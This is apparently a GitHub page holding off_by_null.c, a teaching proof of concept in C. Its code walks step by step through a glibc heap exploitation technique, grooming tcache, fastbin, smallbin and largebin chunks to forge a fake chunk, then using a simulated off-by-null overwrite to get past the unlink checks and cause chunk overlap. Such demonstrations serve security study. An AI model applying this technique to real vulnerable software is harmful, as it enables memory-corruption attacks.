-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathoff_by_null.c
183 lines (142 loc) · 5.98 KB
/
off_by_null.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
int main(int argc, char **argv){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
printf("You can use this technique to trigger chunk overlap.\n");
printf("\n1. Calculate the padding size, make the chunk that will be into largebin's address's lowest 2nd byte is '\\x00'\n");
char* tmp;
tmp = malloc(0x1);
printf("heap address: %p\n", tmp-0x260);
uint64_t size = 0x10000 - 0x160 - (uint64_t)tmp&0xffff;
printf("Calculate padding chunk size: 0x%lx\n", size);
tmp = malloc(size);
printf("Alloc padding chunk: %p\n", tmp);
printf("Alloc 7 chunk to fill in tcache.\n");
char *t1, *t2, *t3, *t4, *t5, *t6, *t7;
t1 = malloc(0x28);
t2 = malloc(0x28);
t3 = malloc(0x28);
t4 = malloc(0x28);
t5 = malloc(0x28);
t6 = malloc(0x28);
t7 = malloc(0x28);
char *b = malloc(0x1000);
printf("Alloc victim chunk %p will be into largebin\n", b);
tmp = malloc(0x10); // padding for topchunk
printf("Alloc padding chunk %p make victim to avoid top chunk\n", tmp);
printf("Make the chunk %p into largebin\n", b);
free(b); //unsortedbin
malloc(0x2000); // make unsortedbin to laregebin
printf("\n2. Create a fake chunk's header, fd and bk using residual pointer infomation from largebin\n");
char* victim = malloc(0x28);
printf("Get a chunk %p from largebin\n", victim);
*(uint64_t*)victim = 0;
*(uint64_t*)(victim+8) = 0x521;
*(victim+0x10) = 0x40;
printf("Create fake chunk in %p\n", victim);
printf("Now, fake chunk's data: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
*(uint64_t*)victim, *(uint64_t*)(victim+8), *(uint64_t*)(victim+16), *(uint64_t*)(victim+24));
printf("Continue to get 4 chunk with the same size as victim chunk for next steps\n");
char *f1 = malloc(0x28);
char *f2 = malloc(0x28);
char *f3 = malloc(0x28);
char *f4 = malloc(0x28);
printf("\n3. Create fake data for fake chunk->fd: 0x%lx\n", *(uint64_t*)(victim+16));
printf("Fill in the tcache_entry[1] list\n");
free(t1);free(t2);free(t3);free(t4);free(t5);free(t6);free(t7);
printf("Now, the tcache_entry[1] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
t7, t6, t5, t4, t3, t2, t1);
printf("free chunk %p and free %p into fastbin\n", f3, f1);
free(f3);
free(f1);
printf("Now, the fastbin[1] list is %p --> %p --> 0x0\n",
f1-0x10, f3-0x10);
printf("Clear the tcache_entry[1] list\n");
for(int i=0; i<7; i++){
malloc(0x28);
}
printf("Make fd chunk %p into smallbin, and chunk's bk is to %p, which is a heap address\n", f1-0x10, f3-0x10);
malloc(0x400);
printf("Alloc the same size as smallbin size, and overwrite bk's lowest 1st byte to fake chunk\n");
char *fake_fd = malloc(0x28);
*(uint64_t*)fake_fd = 0;
*(fake_fd+0x8) = 0x20;
printf("Now, fake fd chunk's data: [0x%lx, 0x%lx]\n",
*(uint64_t*)fake_fd, *(uint64_t*)(fake_fd+8));
printf("And at the same time, %p is stashed into tcache\n", f1);
printf("So, we need to clear the tcache_entry[1] list\n");
malloc(0x28);
printf("\n4. Create fake data for fake chunk->bk: 0x%lx\n", *(uint64_t*)(victim+24));
printf("Fill in the tcache_entry[1] list\n");
free(t1);free(t2);free(t3);free(t4);free(t5);free(t6);free(t7);
free(f2);
free(victim);
printf("Make victim into fastbin, victim bk pointer to %p, which is a heap address\n", f2-0x10);
printf("Clear the tcache_entry[1] list\n");
for(int i=0; i<7; i++){
malloc(0x28);
}
printf("Alloc the same size as fastbin size, and overwrite fd's lowest 1st byte to fake chunk\n");
char* fake_bk = malloc(0x28);
*(fake_bk) = 0x20;
printf("Now, fake bk chunk's data: [0x%lx, 0x%lx]\n",
*(uint64_t*)fake_bk, *(uint64_t*)(fake_bk+8));
printf("And at the same time, %p is stashed into tcache\n", f2);
printf("So, we need to clear the tcache_entry[1] list\n");
malloc(0x28);
printf("\n5. Create off by null byte, overwrite next chunk's prev_size and size's 1st byte, and do some check.\n");
char* vul = malloc(0x28);
char *target = malloc(0x5f8);
malloc(0x10); //padding
printf("Before off by null, %p's header: [0x%lx, 0x%lx]\n",
target, *(uint64_t*)(target-16), *(uint64_t*)(target-8));
printf("Use %p to off by null byte to %p\n", vul, target);
*(uint64_t*)(vul+0x20) = 0x520;
*(vul+0x28) = 0;
printf("After off by null, %p's header: [0x%lx, 0x%lx]\n",
target, *(uint64_t*)(target-16), *(uint64_t*)(target-8));
printf("Now if we free %p, its prev_inuse flag is 0, so it will consolidate backward\n", target);
printf("It will find the chunk through the prev_size, then consolidate.\n");
printf("So it will find %p, and previously constructed fake chunk is %p\n", target-0x520-0x10, victim);
printf("Do some simple check.\n");
/*
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
//...
}
*/
printf("fake chunk %p: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim, *(uint64_t*)(victim), *(uint64_t*)(victim+8), *(uint64_t*)(victim+16), *(uint64_t*)(victim+24));
printf("fake chunk->fd %p: [0x%lx, 0x%lx]\n",
fake_fd-0x10, *(uint64_t*)fake_fd, *(uint64_t*)(fake_fd+8));
printf("fake chunk->bk %p: [0x%lx, 0x%lx]\n",
fake_bk-0x10, *(uint64_t*)fake_bk, *(uint64_t*)(fake_bk+8));
printf("\n6. Fake chunk data satisfy all conditions, then free %p to trigger chunk overlap.\n", target);
printf("Clear the unsortedbin.\n");
malloc(0x4b8);
printf("Free %p to trigger chunk overlap\n", target);
free(target);
printf("Before chunk overlap, %p's value: 0x%lx\n", f2, *(uint64_t*)f2);
char *res = malloc(0x80);
*(uint64_t*)(res+0x50) = 0xdeadbeef;
printf("After chunk overlap, %p's value: 0x%lx\n", f2, *(uint64_t*)f2);
return 0;
}